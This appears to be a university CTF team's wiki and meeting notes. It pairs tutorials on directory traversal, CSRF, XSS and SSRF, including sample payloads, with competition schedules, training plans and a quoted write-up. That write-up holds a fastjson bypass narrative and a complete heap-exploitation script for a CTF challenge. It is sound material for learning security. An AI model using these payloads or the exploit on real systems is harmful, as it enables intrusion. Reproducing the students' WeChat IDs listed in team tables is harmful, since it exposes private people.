Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path.
+Any kind of path controlled by user input that isn't properly sanitized or properly sandboxed could be vulnerable to directory traversal.
+For example, consider an application that allows the user to choose what page to load from a GET parameter.
+<?php
+ $page = $_GET['page']; // index.php
+ include("/var/www/html/" . $page);
+?>
+
+Under normal operation, the page would be index.php
. But what if a malicious user gave in something different?
<?php
+ $page = $_GET['page']; // ../../../../../../../../etc/passwd
+ include("/var/www/html/" . $page);
+?>
+
+Here the user is submitting ../../../../../../../../etc/passwd
.
This will result in the PHP interpreter leaving the directory that it is coded to look in ('/var/www/html') and instead be forced up to the root folder.
+include("/var/www/html/../../../../../../../../etc/passwd");
+
+Ultimately this will become /etc/passwd
because the computer will not go a directory above its top directory.
Thus the application will load the /etc/passwd
file and emit it to the user like so:
root:x:0:0:root:/root:/bin/bash
+daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+bin:x:2:2:bin:/bin:/usr/sbin/nologin
+sys:x:3:3:sys:/dev:/usr/sbin/nologin
+sync:x:4:65534:sync:/bin:/bin/sync
+games:x:5:60:games:/usr/games:/usr/sbin/nologin
+man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
+lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
+mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
+news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
+uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
+proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
+www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
+backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
+list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
+irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
+gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
+nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
+systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
+systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
+systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
+systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
+_apt:x:104:65534::/nonexistent:/bin/false
+
+This same concept can be applied to applications where some input is taken from a user and then used to access a file or path or similar. This vulnerability very often can be used to leak sensitive data or extract application source code to find other vulnerabilities.
+A Cross-Site Request Forgery or CSRF Attack pronounced see the surf, is an attack on an authenticated user which uses a state session in order to perform state-changing attacks like a purchase, a transfer of funds, or a change of email address.
+The entire premise of CSRF is based on session hijacking, usually by injecting malicious elements within a webpage through a <img>
tag or a <iframe>
where references to external resources are unverified.
GET
requests are often used by websites to get user input. Say a user signs in to a banking site that assigns their browser a cookie that keeps them logged in. If they transfer some money, the URL that is sent to the server might have the pattern:
http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]
+
+Knowing this format, an attacker can send an email with a hyperlink to be clicked on or they can include an image tag of 0 by 0 pixels which will automatically be requested by the browser such as:
+<img src="http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]" width="0" height="0" border="0">
Cross-Site Scripting or XSS is a vulnerability where one user of an application can send JavaScript that is executed by the browser of another user of the same application.
+This is a vulnerability because JavaScript has a high degree of control over a user's web browser.
+For example, JavaScript has the ability to:
+By combining all of these abilities, XSS can maliciously use JavaScript to extract users' cookies and send them to an attacker-controlled server. XSS can also modify the DOM to phishing users for their passwords. This only scratches the surface of what XSS can be used to do.
+XSS is typically broken down into three categories:
+Reflected XSS is when an XSS exploit is provided through a URL parameter.
+For example:
+https://ctf101.org?data=<script>alert(1)</script>
+
+You can see the XSS exploit provided in the data
GET parameter. If the application is vulnerable to reflected XSS, the application will take this data parameter value and inject it into the DOM.
For example:
+<html>
+ <body>
+ <script>alert(1)</script>
+ </body>
+</html>
+
+Depending on where the exploit gets injected, it may need to be constructed differently.
+Also, the exploit payload can change to fit whatever the attacker needs it to do. Whether that is to extract cookies and submit them to an external server, or to simply modify the page to deface it.
+One of the deficiencies of reflected XSS however is that it requires the victim to access the vulnerable page from an attacker-controlled resource. Notice that if the data parameter, wasn't provided the exploit wouldn't work.
+In many situations, reflected XSS is detected by the browser because it is very simple for a browser to detect malicious XSS payloads in URLs.
+Stored XSS is different from reflected XSS in one key way. In reflected XSS, the exploit is provided through a GET parameter. But in stored XSS, the exploit is provided from the website itself.
+Imagine a website that allows users to post comments. If a user can submit an XSS payload as a comment, and then have others view that malicious comment, it would be an example of stored XSS.
+The reason is that the website itself is serving up the XSS payload to other users. This makes it very difficult to detect from the browser's perspective and no browser is capable of generically preventing stored XSS from exploiting a user.
+DOM XSS is XSS that is due to the browser itself injecting an XSS payload into the DOM. While the server itself may properly prevent XSS, it's possible that the client-side scripts may accidentally take a payload and insert it into the DOM and cause the payload to trigger.
+The server itself is not to blame, but the client-side JavaScript files are causing the issue.
+Server Side Request Forgery or SSRF is where an attacker is able to cause a web application to send a request that the attacker defines.
+For example, say there is a website that lets you take a screenshot of any site on the internet.
+Under normal usage, a user might ask it to take a screenshot of a page like Google, or The New York Times. But what if a user does something more nefarious? What if they asked the site to take a picture of http://localhost? Or perhaps tries to access something more useful like http://localhost/server-status?
+++127.0.0.1 (also known as localhost or loopback) represents the computer itself. Accessing localhost means you are accessing the computer's own internal network. Developers often use localhost as a way to access the services they have running on their own computers.
+
Depending on what the response from the site is the attacker may be able to gain additional information about what's running on the computer itself.
+In addition, the requests originating from the server would come from the server's IP, not the attacker's IP. Because of that, it is possible that the attacker might be able to access internal resources that he wouldn't normally be able to access.
+Another usage for SSRF is to create a simple port scanner to scan the internal network looking for internal services.
+ + + + + + + + +About our mission this semester: self-improvement and advanced skills learning.
+A. material learning and reading.
+B. challenge/competition solving.
+C. vulnerability dig and website/open-source pen-testing.
+D. sharing.
+It's highly encouraged to share your blog/wirteups with us. Talking with each other in the group is also a good method to get improved.
+Don't be shy.
+Don't be afraid to talk with "dalao". In fact, all of us are grown from newbies. And in fact, none of us is satisfied with our current knowledge.
+I've encountered some difficulties these days. It's hard to find new contents to learn about. I need your help.
+The goal of having more collections about the wiki/forum/blog is to fully access the CTF and hacking. We are going to design a book about CTF.
+The contributions would help us:
+A. design this book.
+B. handle a daily sharing bot/wechat channel.
+Everything you find may help above can send to me.
+TQLCTF高校赛
+https://datacon.qianxin.com/competitions/21/introduction
+TQLCTF高校挑战赛由清华大学(网络研究院)奇安信集团网络安全联合研究中心主办,由清华大学Redbud战队及奇安信技术研究院联合命题,本次竞赛旨在提高高校在校生网络安全技能,为网络安全选拔优秀人才。全国高校在校生均可报名参加每队报名人数不得超过10人。 此次竞赛冠亚季军队伍将直接晋级TQLCTF京津冀线下挑战赛,体验全新AWD竞赛模式以及沉浸式CTF竞赛视觉盛宴!
+时间:2022-02-19 09:00-2022-02-20 21:00
+主办方:清华大学(网络研究院),奇安信集团安全联合研究中心
+VU CYBERTHON 2022
+https://2022.cyberthon.lt/event_starts
+Participants will get access to the cyber security tournament system and they will have 24 hours to solve CTF challenges.
+星期五, 18 二月 2022, 01:00 CST — 星期六, 19 二月 2022, 01:00 CST
+Event organizers
+https://xsrc.its.sustech.edu.cn/
+Not working properly now. Having asked the developers from ITS. They have given instructive advice:
+Use email then.
itsserver#sustech.edu.cn
+https://github.com/tanjiti/sec_profile
+A repo about security profile.
+Gonna use information from this list first. All the blog and personal websites would be added soon.
+Project: TG Sec Bot
The project information and the initial proposal would be posted on GitHub and invite you (if interested).
+Working on the security analysis and CVE post. Found several vulnerabilities from ThinkPHP and its plugins.
+sqlmap analysis shows it's not vulnerable. Doing some SCA recently.
+I have emailed several top teams and waiting for their response.
+The experience from top teams is really important. Besides, not only for CTF, but also for security developers and engineers.
+Rank 78
+As an exercise competition got in the top 100.
+ + +Rank 37
+Doesn't have enough participants. Maybe better.
+ +Our first offline competition activity would be held this Saturday.
+According to the recently COVID-19, shall the offline activity move to online?
+The sharing would be given by myself this week. I'd like to talk about the Rust programming language.
+If you want to share anything else, it's highly recommended to give a talk this weekend.
+星期六, 26 二月 2022, 18:00 CST — 星期日, 27 二月 2022, 18:00 CST
+http://www.codegate.org/
+We are going to participate in the General
team. The top 9 teams from the General group would be allowed to the final competition.
The maximum team size is 4 members
+星期六, 26 二月 2022, 15:00 CST — 星期二, 01 三月 2022, 15:00 CST
+https://2022.ugractf.ru/
+The event would be in Russia. Maybe we need to use some translation tools.
+星期六, 26 二月 2022, 09:00 CST — 星期一, 28 二月 2022, 09:00 CST
+https://susctf2022.xctf.org.cn/
+By SUSr. The name is very likely SUSTC. So, maybe you are interested.
+A. 服务器环境自动启动
+B. SaaS用户启动方案
+We have achieved rank 29.
+ +The rank is in the top tier 2 list. The top 20 teams are very famous organizers
, r3kpig
, DiceGang
, Oops
, and perfect blue
. Our rank is along with Super Guesser
. In the meanwhile, we have won Redbud
for continuous 3 times.
Still, we have some areas to improve. First of all, all of our scores are from the Web category. PWN is still an area we should improve.
+The Rev and Crypto of the codegate are very difficult.
+Congratulations to Frankss!
+Looking forward to your next rank 1 in CTF!
+In the past very long time, we use CTFd online collocation system to deploy our platform. The CTFd online service is limited now.
+The black box of CTFd doesn't offer us direct interaction with the source code and the plugins. In order to make further improvements, we are going to switch back to the local VPS deployment.
+We have 2 plans:
+A. use my personal VPS server. The VPS is in Hong Kong with 8 CPU cores and 16 GB of memory. The access of VPS is open to the public network. In order to deploy in my VPS, we need to assign an SSL certification and allocate a domain name service to the docker image.
+B. use COMPASS server. The COMPASS server is very high performance. To use the COMPASS's Detroit server, we can directly use the compass.sustech.edu.cn
domain name. But the access is limited to the campus. If we want to let users outside the SUSTech access, we need to deploy a jump service.
We need to assign the maintenance of the CTF platform to our members. If you are interested, please let me know. The work of the maintenance involves:
+The Wiki page is critical for our public information. We have updated our Wiki page several times.
+https://wiki.compass.college/member/
+On the members' page, we have all of our members' cards. Currently, all the members' information is using our Wechat profile and the area is set to ALL
.
Obviously, we need to update this page. Please send me your area.
+https://mp.weixin.qq.com/s?__biz=Mzg5NTc0ODE4Ng==&mid=2247483653&idx=1&sn=8f2f74843dd5eff531be187823d9fc90&chksm=c00ad030f77d5926157929aee64fab31ead3b2b727777633a567a1dc5a579dd3f8a61d603435&mpshare=1&scene=23&srcid=0302kUF13DdLm2lLcV7DCIqL&sharer_sharetime=1646213771898&sharer_shareid=612cf76d62ce2a19afbb97fe3bdd60a8#rd
+https://www.qianxin.com/DCICHF/2022
+You may notice the awards we've got have been pushed to the wiki.
+We have participated in the eCTF for practice last week.
+ +Challenge solving process:
+The challenges quality is on average.
+I've started too many projects in the recent meetings...
+The project aims to publish news, blogs, and writeups from personal websites. Going to follow the steps:
+I have created the Rust project for the Telegram bot using the following template:
+https://github.com/telegram-rs/telegram-bot
+The function would be done soon.
+If you are interested in the Mail subscribe service's development, please let me know.
+Thanks to the very brief description of the installing instruction, deploying ctfd-whale is hard.
+I'll find it out these days.
+Do you remember the Chaff Bug?
+https://wiki.compass.college/Paper/Misc/Chaff%20Bugs%20Deterring%20Attackers%20by%20Making%20Software%20Buggier/
+In brief: the Chaff is an idea to create hundreds of fake buffer overflow points. The work of the attackers is increased by non-vulnerable bugs.
+However, SCA (Source Code Analysis), concolic analysis, and Fuzzing can solve this problem.
+The PWN challenges from CTF can also be solved by the concolic analysis. The famous angr
is often used to do the job.
https://angr.io/
+We also know the CGC (Cyber Grand Challenge) is major in automated software analysis.
+A survey of the Cyber Reasoning System: https://ieeexplore.ieee.org/abstract/document/8411838
+I'm going to summarize the research on CRS and SCA.
+I've added the contact email address to Wiki.
+As well as the weekly meeting address.
+https://wiki.compass.college/
+It's all from an article forwarded by Frankss.
+https://team-su.github.io/
+SU team has achieved the top rank in SUSCTF 2022. SU team is a united team of members in the universities (we are a university team with all of us from SUSTech).
+SU team is established in 2016, and be famous in 2022.
+The cooperation experience from SU:
+I've pm each member to confirm the major orientation.
+The communication with the SU team is in the progress. Hopefully, we would talk with them in the future.
+The 1337UP live CTF (Jeopardy, dynamic score from 500 to 50)
+The team size is 4.
+https://ctf.intigriti.io/
+星期五, 11 三月 2022, 23:00 CST — 星期六, 12 三月 2022, 23:00 CST
+The top 3 teams would get cash awards.
+The top 10 teams would receive some 1337UP swag.
+The top 100 teams would receive a souvenir certificate, and an increased chance to be invited to the private program of the Intigriti.
+This is the first 1337UP CTF.
+The organizer: Intigriti (Europe's #1 ethical hacking and bug bounty platform)
+Take care of yourself.
+Doing some exercise can be helpful.
+I hope COVID-19 will end soon.
+2022数字中国创新大赛虎符网络安全赛道
+时间:2022-03-19 09:00 ~ 2022-03-20 17:00
+https://datacon.qianxin.com/competitions/22/introduction
+晋级资格:初赛成绩排名前35的队伍(线上初赛成绩排名前20的高校战队+线上初赛成绩排名前15的行业战队)进入决赛,同一集团单位、高校最多只能入围2支战队,每队不超过4人,及一名领队,决赛前队员可更换,但要求参赛选手需是初赛报名人员,并且必须来自同一集团单位或高校,进入总决赛单位/行业战队需提供半年以上的本单位社保证明,各高校战队需提供加盖所在同一高校公章的在读证明,如发现任何作弊、代打行为,将直接取消比赛资格并进行公告。
+Misc: 周翰然、陈梓涵、巫晓、朱嘉楠
+Web: 金肇轩、严文谦
+Re: 邬一帆、朱弘
+PWN: 李照、邬一帆
+Crypto: 朱嘉楠、周翰然、严文谦
+题目整理 & 同步:邬一帆、李照
+Current solution: https://github.com/frankli0324/ctfd-whale/
+The dependency frp
is vulnerable to SSRF in the history (and very likely now), and have been bypassed several times.
The local deployment is successful and ready to use, but we may have a better alternative.
+For each competition, we would have an administrator. The admin has the following tasks:
+The competitions would use Notion to update.
+The competitions would use Discord to chat.
+2022数字中国创新大赛虎符网络安全赛道
+时间:2022-03-19 09:00 ~ 2022-03-20 17:00
+https://datacon.qianxin.com/competitions/22/introduction
+晋级资格:初赛成绩排名前35的队伍(线上初赛成绩排名前20的高校战队+线上初赛成绩排名前15的行业战队)进入决赛,同一集团单位、高校最多只能入围2支战队,每队不超过4人,及一名领队,决赛前队员可更换,但要求参赛选手需是初赛报名人员,并且必须来自同一集团单位或高校,进入总决赛单位/行业战队需提供半年以上的本单位社保证明,各高校战队需提供加盖所在同一高校公章的在读证明,如发现任何作弊、代打行为,将直接取消比赛资格并进行公告。
+Misc: 周翰然、陈梓涵、巫晓、朱嘉楠
+Web: 金肇轩、严文谦
+Re: 邬一帆、朱弘
+PWN: 李照、邬一帆
+Crypto: 朱嘉楠、周翰然、严文谦
+题目整理 & 同步:邬一帆、李照
+ +The competition is on processing. We have several challenges to solve.
+The current rank is #4, 2 challenge (and 20 points for hints) left to be rank 1.
+Got 2 sub pages: /robots.txt and /hint.html
+As the hint goes, we should find /fiag.html, but failed.
+Hint: Something's wrong with the word 'fiag'. \<head line>Password Decryption
+Python SSTI injection with filters. The underline, dot, and parenthesis are filtered out.
+Could use unicode conversion.
+Don't know what's the meaning of the file.
+Got a Base36-like string, don't know what to do next.
+scrypt-hash decryption without password.
+A zip file inside the given picture. Doesn't have the password.
+The text can be decrypted with string Dobby is not free in flag format, but not the flag.
+@Frankss: the picture has some hidden mosaic below after adjusting the height.
+Don't know the meaning of the challenge.
+Hint: understand the meaning of alphabet
.
Don't know what to find.
+The store is John & the Juice New York.
+Not interested in Dolpari's information.
+The description is to find flag in the Discord server (not the flag in channel description).
+Similar to the (), don't know what to do.
+The LINE CTF is going to be an exercise competition.
+https://score.linectf.me/
+Schedule: March 26, 2022, 08:00 AM ~ March 27th, 08:00 AM (UTC+8)
+Style: Jeopardy-style (Team Cometition @ Online)
+Organizer: Security team at LINE
+Discord: https://discord.gg/4aXUwrqD3Z
+If you want to participate, please contact me.
+比赛名称:愚人节欢乐赛
+题目难度:简单,欢乐,恶搞
+比赛奖励:总分前10,定制鼠标垫/女装,二选一
+比赛时间:2022年4月1日(周五) 18时整
+比赛时长:24小时
+比赛地址:https://ctf.show/challenges
+投稿邮箱:ctfshow@163.com
+https://midnightsunctf.com/
+星期六, 02 四月 2022, 18:00 CST — 星期日, 03 四月 2022, 18:00 CST
+8 teams from academic & 8 teams from industry.
+虎符CTF WP: https://wiki.compass.college/Writeup/%E8%99%8E%E7%AC%A6CTF2022/COMPASS%20WriteUp/
+招新赛 WP: https://wiki.compass.college/Writeup/COMPASS%20CTF2021/COMPASS_CTF_2021_ALLwp/
+Pull request steps:
+wiki/mkdocs.yml
to update the index.It's pity that after so many tries, I can't make the CTFd-whale work properly.
+Have sent an email to BUUOJ and CTFshow to talk about the platform construction.
+Starting my Docker-API project to make a cloud-supported SaaS platform.
+Now I've designed a docker-compose to run environments. 招新 challenges are working fine, other challenges are in progress.
+5月15日前,各高校遴选参加全省比赛队伍,一所学校可有多组队伍参赛;
+5月21日至22日,组织省级初赛评审,初赛内容为30%知识赛+70%攻防夺旗赛,按照成绩高低取前30名队伍进入省级总决赛,每个高校晋级队伍不超过2个;
+报名时间:截止至2022年5月15日(星期日)17:00。
+报名方式:参赛学校填写相关报名表,将省级初赛报名表(附件3)发至指定邮箱tw@hzu.edu.cn;同时,加入赛事咨询QQ群825405920。
+The sign-up would be collected and submitted once.
+According to the previous event, there are some problems:
+(From https://tari.moe/2021/05/23/2021gd-university-ctf/)
+任意文件读取,不过flag.txt
读不了,但可以看 hint.txt
,smali
字节码,提示了 fastjson 1.2.24
先读取本进程相关目录
+ +在 /usr/local/run/start.jar
获取源码,IDEA
打开分析
原来过滤了 flag
,怪不得读取不了
往反序列化方向,不过有waf
然后还有限制
+ +这里卡了挺久,试了网上很多EXP,都不行
+然后突然想起fastjson反序列化的原理
+一般是需要别的库的配合,通过反射获取相关方法的
+于是我一个个依赖找
+ +搜了下 spring ,没有相关漏洞,但是在 tomcat dbcp
里刚好发现了可以利用,而且不用利用 rmi ldap
之类的
https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html
+然后刚好用到 BCEL
,HFCTF2021也刚好用到, 刚好复现过了,所以非常熟练 (
https://github.com/f1tz/BCELCodeman
+编写 java poc
,转换为 class
然后生成 BCEL
码
这样可以绕过waf的黑名单
,即绕过了第1个challenge
还有2个 challenge
,这个简单,就长度大于2000
,然后需要包含 flag
关键字
这里直接把 /flag.txt
改一下名读取即可
题目是基于 glibc 2.31 的菜单堆题。
+漏洞出现在 free 之后没有置零指针导致的 UAF :
+ +程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。
+思路:
+遇到的问题就是直接之前 libc 2.23 的 payload 去打的话没有回显出 libc 地址,原来的 payload :
+p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
+1
+
+flag 这么设置绕过检查没有问题,问题是将 write_base 最低值字节修改为 0x88 了,而 libc 2.31 中 write_ptr 最低位是 0x23
+ +导致起始地址比结束地址大,而没有东西输出。还有就是调试断点位置设置问题 ,导致一直以为是修改不成功的原因。断点一开始是打在修改后下一次进入主菜单的时候,由于每次输出都会刷新 stdout 结构体部分指针,导致一直以为没修改成功。正确应该在 read 打断点,然后 n 跳一步查看是否成功修改结构体。
+from pwn import *
+# context.log_level = 'debug'
+context.terminal = ['tmux','sp','-h']
+
+
+
+def add(content):
+ p.sendlineafter(">>> ",str(1))
+ p.sendafter("Input Content:\n",content)
+def gift():
+ p.sendlineafter(">>> ",str(666))
+def delete(id):
+ p.sendlineafter(">>> ",str(3))
+ p.sendlineafter("Input ID:\n",str(id))
+def edit(id,content):
+ p.sendlineafter(">>> ",str(2))
+ p.sendlineafter("Input ID:\n",str(id))
+ p.sendafter("Input Content:\n",content)
+
+def exp():
+ add('a'*58)#0
+ add('a'*58)#1
+ add('a'*58)#2
+ for _ in range(8):
+ delete(0)
+ edit(0,'b'*0x58)
+ edit(0,'\x00'*0x10)
+ p.sendlineafter(">>> ",'1'*0x450)
+ edit(0,'\xa0\x66')
+
+ stdout_offset = libc.symbols['_IO_2_1_stdout_']
+ log.info("stdout_offset:"+hex(stdout_offset))
+
+ add('c'*0x8)#3
+ # gdb.attach(p,"b *$rebase(0x1392)")
+ # raw_input()
+ add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
+ libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
+ log.info("libc_addr:"+hex(libc_addr))
+
+ free_hook = libc_addr+libc.sym['__free_hook']
+ system_addr = libc_addr+libc.sym['system']
+ binsh_str = libc_addr+libc.search('/bin/sh').next()
+
+ delete(1)
+ edit(1,p64(free_hook)*2)
+ add('/bin/sh\x00')
+ add(p64(system_addr))
+ delete(1)
+
+ p.interactive()
+
+
+# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
+# libc = ELF("./libc-2.31.so")
+# exp()
+
+if __name__ == '__main__':
+ # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
+ # libc = ELF("./libc-2.31.so")
+ # p = process("./BabyNote")
+ # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
+ p = remote("8.134.14.168", 10000)
+ libc = ELF("./libc-2.31.so")
+ while True:
+ try:
+ exp()
+ exit(0)
+ except:
+ p.close()
+ p = remote("8.134.14.168", 10000)
+ # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
+123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
+
+
+We have returned to the campus yesterday.
+Looking forward to our offline activity.
+Now we have 2 teams ready, 1 member to set up the third team.
+戴骏飞 | +临床医学 | +大二 | +男 | +队长 | +wxid_jxwdutfinu3b21 | +
---|---|---|---|---|---|
代魏竞 | +物理学 | +大二 | +男 | +成员 | +assassin_dou | +
刘子羽 | +通识通修 | +大二 | +男 | +成员 | +L13768311688 | +
陈旭阳 | +通识通修 | +大二 | +男 | +成员 | +xy591557928 | +
邬一帆 | +通识通修 | +大二 | +男 | +队长 | +GhostFrank | +
---|---|---|---|---|---|
严文谦 | +通识通修 | +大一 | +男 | +成员 | +wxid_pcjl48tfa35n22 | +
朱嘉楠 | +计算机科学与工程 | +大二 | +男 | +成员 | +GGAutomaton | +
朱弘 | +计算机科学与工程 | +大二 | +男 | +成员 | +Trust_04zh | +
Besides, we are going to invite CRA's member to join the competition.
+The online talk session would be held on April 30th.
+Organizer: COMPASS CTF Team
+Co-operator: Computer Research Association
+Invitation: all the students from SUSTech
+After the talk, we would arrange 2 pieces of training (introduction).
+https://wiki.compass.college/Tool/Cryptography/SageMathCell/
+The current tools are collected from every CTF challenge.
+Some challenges are using some specific tool, that isn't on the list.
+I've found the difficulty to configure every machine to work for CTF events. So, let's make a toolkit for fast establishing the environment.
+星期六, 23 四月 2022, 14:30 CST — 星期六, 23 四月 2022, 20:30 CST
+https://ctftime.org/event/1635
+CUCTF 1.0 is First Edition of CUCTF from CUCYSEC Club. +This CTF will be in collaboration of WIZCON '22 which aims to introduce beginners to Capture the Flags.
+Link: http://ctf.teamsanitizer.me:2052/
+The online talk session would be held on April 30th.
+Organizer: COMPASS CTF Team
+Co-operator: Computer Research Association
+Invitation: all the students from SUSTech
+After the talk, we would arrange 2 pieces of training (introduction).
+ +Under the thought of this aspect of the difficult, I want to introduce those things you won't know when first solved some challenges. Each chapter of the book would start with some practice knowledge, and end with some difficult advanced principles. The whole book would be divided into two parts: basics knowledge that you can learn from simply reading and learning some limited necessary knowledge, and the hard part that you need to read more about the principle, source code, and the details of the techniques.
+The volume I is under writing.
+Volume I:
+Chapter 1: introduction to the CTF
+Introduction guidance to the competitions, challenges, and the format of the different CTF events. I will talk about the different styles of the CTF, different areas of the CTF, and some of the key attitudes of the CTF. This chapter won't have any technical details about the CTF, but you will learn about the philosophy of the game and the different goals of the events.
+Chapter 2: information gathering
+The information quantity is so large that most of the time, you may struggle with searching everywhere and get nothing. From searching for the correct knowledge to solve your current faced problems to the sensitive information gathering for the specific organizations, we want to find useful information out of the ocean of garbage information. Information gathering is the basic skill you should master.
+Chapter 3: OSINT and sensitive information exposure
+...
+Talked with Frankss.
+The current campus team still needs more members.
+For every student, we might have 1 - 2 years working in the CTF competitions, and we need to award prizes.
+The past half year is highly affected by the COVID-19, and we are learning online (mostly, by ourselves). In the last 5 weeks of this semester, I want to form some offline activities as the last year.
+The offline training would have longer time (longer than the past 4 hour training), and we would have weekly challenges (highly encouraged to finish).
+Besides, the team would have 2 types of members: active and retired. We want to have a clear list of students who still active to participate competitions.
+Before the training, members should finish the challenges.
+Before the afternoon, we would have talk and lectures.
+After the afternoon, we sync the challenges together, and do some competition challenges.
+If we have competitions, the training time may be adjusted.
+Please fill the form before May, 9th.
+ + + + + + + + +The training material would be posted on the website.
+In the past training, we have discussed some basic ideas about the CTF challenge. Now, our new participants have learned about easy knowledge. All the discussions are simple.
+We have several teams signed up for the upcoming competition.
+The 2nd Guangdong Province University CTF Event would end sign up on May, 15th. From new participants, the new teams are:
+Along with the previous teams, we have 9 teams in total. The 9 teams contain 2 advanced teams (from COMPASS CTF) and 7 fan teams.
+The training this week would be held tomorrow (May, 14th) in the 551 Room, Southern Tower of the Engineering Department. Now, I have arranged some weekly training challenges, but still we need some materials.
+The lecture part includes Web & PWN & RE part analysis and the difficult challenges. According to my area, I don't have enough experience in Misc and Forensics aspects.
+Hoping you can help with the upcoming training.
+DEF CON 30 is upcoming. The qualification round of DEF CON would be held on May, 28th - 29th.
+https://defcon.org/index.html
+第十五届全国大学生信息安全竞赛-创新实践能力赛
+https://maka.im/pcviewer/602244610/6822NHAOW602244610
+http://www.ciscn.cn/competition/securityCompetition?compet_id=36
+Sign up before May, 20th. The online qualification round on May 28th - 29th.
+第十五届全国大学生信息安全竞赛-作品赛
+http://www.ciscn.cn/competition/securityCompetition?compet_id=35
+CTFshow 单身杯
+https://ctf.show/challenges
+2022-05-20 18:00 ~ 2022-05-22 18:00
+All the competition materials have been submitted.
+Online submission:
+https://datacon.qianxin.com/competitions/25/introduction
+Choose one of the 2 competitions and submit online team information.
+https://pan.baidu.com/s/1S4aVRq92IPc8QkCHK3o-sg?pwd=b5jb
+Some materials about the knowledge challenges.
+I have questioned the knowledge challenges and the CTF part. According to the response from the sponsor, those 2 events would be held at the same time.
+The score is 30% knowledge + 70% CTF
+【问题1】5.22本校参加ctf比赛的学生当天要参加学校组织的拍毕业照活动,时间上冲突了
+答:由于这是全省统一比赛时间,请贵校自行协调。
+【问题2】5月28- 29号要参与全国大学生信息安全竞赛,与省赛决赛冲突
+答:组委会已和团省委沟通,决赛将延期举行,请各高校留意后续通知。
+【问题3】第一阶段知识竞赛是每个队固定题数还是每个队在固定时间内答题,答题数目不做限制?
+答:安全基础题和CTF同时开启,10:30安全基础题答题关闭,17:30关闭CTF答题,初赛结束,初赛共计8小时,分值按安全基础分值30%+70%CTF夺旗,按照成绩高低取前30名队伍进入省级总决赛,每个高校晋级队伍不超过2个。
+(安全基础题和CTF同时开启的目的是为了部分能力强的学生比如只花30分钟答完理论,多余的时间就可以解ctf)
+【问题4】如果是第一种规则,又是固定题数直接系统分配到每个队员,还是说直接全部题目给到整队,队内自行分配?
+答:全部题目给到整队,每个队员可查看,只有队长有权限答题。
+【问题5】知识竞赛是开卷的还是不会可以上网查的
+答:知识竞赛是开卷,只有1个小时答题时间。
+【问题6】各高校团委是否需要提供场地给予学生初赛(考虑到线上无摄像头 怕指导老师帮忙做的情况)
+答:是否提供场地由各高校团委自行决定,线上初赛无法对参赛队伍做题过程进行绝对的监控,但是平台会有反作弊机制,作弊的队伍将取消成绩,并且每个学校最多只能有2个队伍进入决赛。
+【问题7】各高校需要提供什么东西给到学生比赛
+答:理论上不需要提供,学生参加比赛即可
+【问题8】平台报名无法使用特殊字符,需要更改报名队伍名字,这与之前是否提交的Excel表冲突。
+答:不冲突;后续的相关信息均以线上报名平台为准。
+【问题9】登录注册平台出现404画面或持续转圈
+答:需用电脑端登录,如果出现浏览器加载慢的情况,建议使用Chrome浏览器进行访问。首次使用我们的datacon平台,请先注册--->登录--->进入赛事组队报名--->邀请队友--->报名完成,等待开赛。
+【问题10】平台是否需要队长和队员同时报名?
+答:队友只需要注册账号就行,队长组队后邀请队友。
+https://iscc.isclab.org.cn/
+个人挑战赛 till May, 25th
+分组对抗赛 七月中旬
+http://www.ciscn.cn/competition/securityCompetition?compet_id=36
+报名截止至5月20日,初赛时间为5月28日
+https://www.qianxin.com/bluehatcup/2022
+线上赛报名:2022-05-06 09:00:00 - 2022-05-23 18:00:00
+线上赛时间:2022-05-25 09:00:00 - 2022-05-25 17:00:00
+https://www.hackasat.com/
+星期六, 21 五月 2022, 22:00 CST — 星期一, 23 五月 2022, 04:00 CST
+https://quals.2022.nautilus.institute/
+星期六, 28 五月 2022, 08:00 CST — 星期一, 30 五月 2022, 08:00 CST
+https://buuoj.cn/plugins/ctfd-matches/matches/107
+2022年5月21日10:00-18:00
+2 top 50 teams:
+Team name | +Rank | +Writeups | +
---|---|---|
HED | +9 | +Submitted | +
MFGI | +37 | +Submitted | +
Removed repetitive teams from the top 36 (3 or more teams of the same university), MFGI's rank is 28.
+I'm waiting for the notifications of the final round. However, the organizers are still counting the results (till 15:00 Thursday).
+During the summer of 2022, we are going to open another training and recruiting plan.
+The summer schedule would be divided into 2 parts: basic rank and advanced rank. The previous one's goal is to teach some necessary knowledge for the interests and would be easier. The last one's goal is to train for the COMPASS team which would be harder.
++ | Basic | +Advanced | +
---|---|---|
Estimated time per week | +6 hours | +15 hours | +
Knowledge level | +for interests | +for competitions | +
Lectures | +Yes | +Yes | +
Weekly challenges | +Optional | +Yes | +
Leader for training | +Group discussion | +Assigned team members | +
